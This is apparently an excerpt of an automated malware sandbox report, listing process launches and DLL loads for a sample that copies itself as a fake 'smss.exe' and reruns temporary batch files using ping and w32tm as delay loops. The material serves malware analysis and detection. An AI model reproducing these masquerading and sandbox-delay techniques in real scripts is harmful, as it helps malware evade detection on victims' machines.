                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat" Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe" Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat" Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe" Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat" Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe" Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\COegk83zmU.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: mscoree.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: apphelp.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: kernel.appcore.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: version.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: uxtheme.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: windows.storage.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: wldp.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: profapi.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: cryptsp.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: rsaenh.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: cryptbase.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: sspicli.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: ktmw32.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: ntmarta.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: propsys.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: dlnashext.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: wpdshext.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: edputil.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: urlmon.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: iertutil.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: srvcli.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: netutils.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: wintypes.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: appresolver.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: bcp47langs.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: slc.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: userenv.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: sppc.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                            Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dllJump to behavior
                            Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecoreuapcommonproxystub.dll
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dll
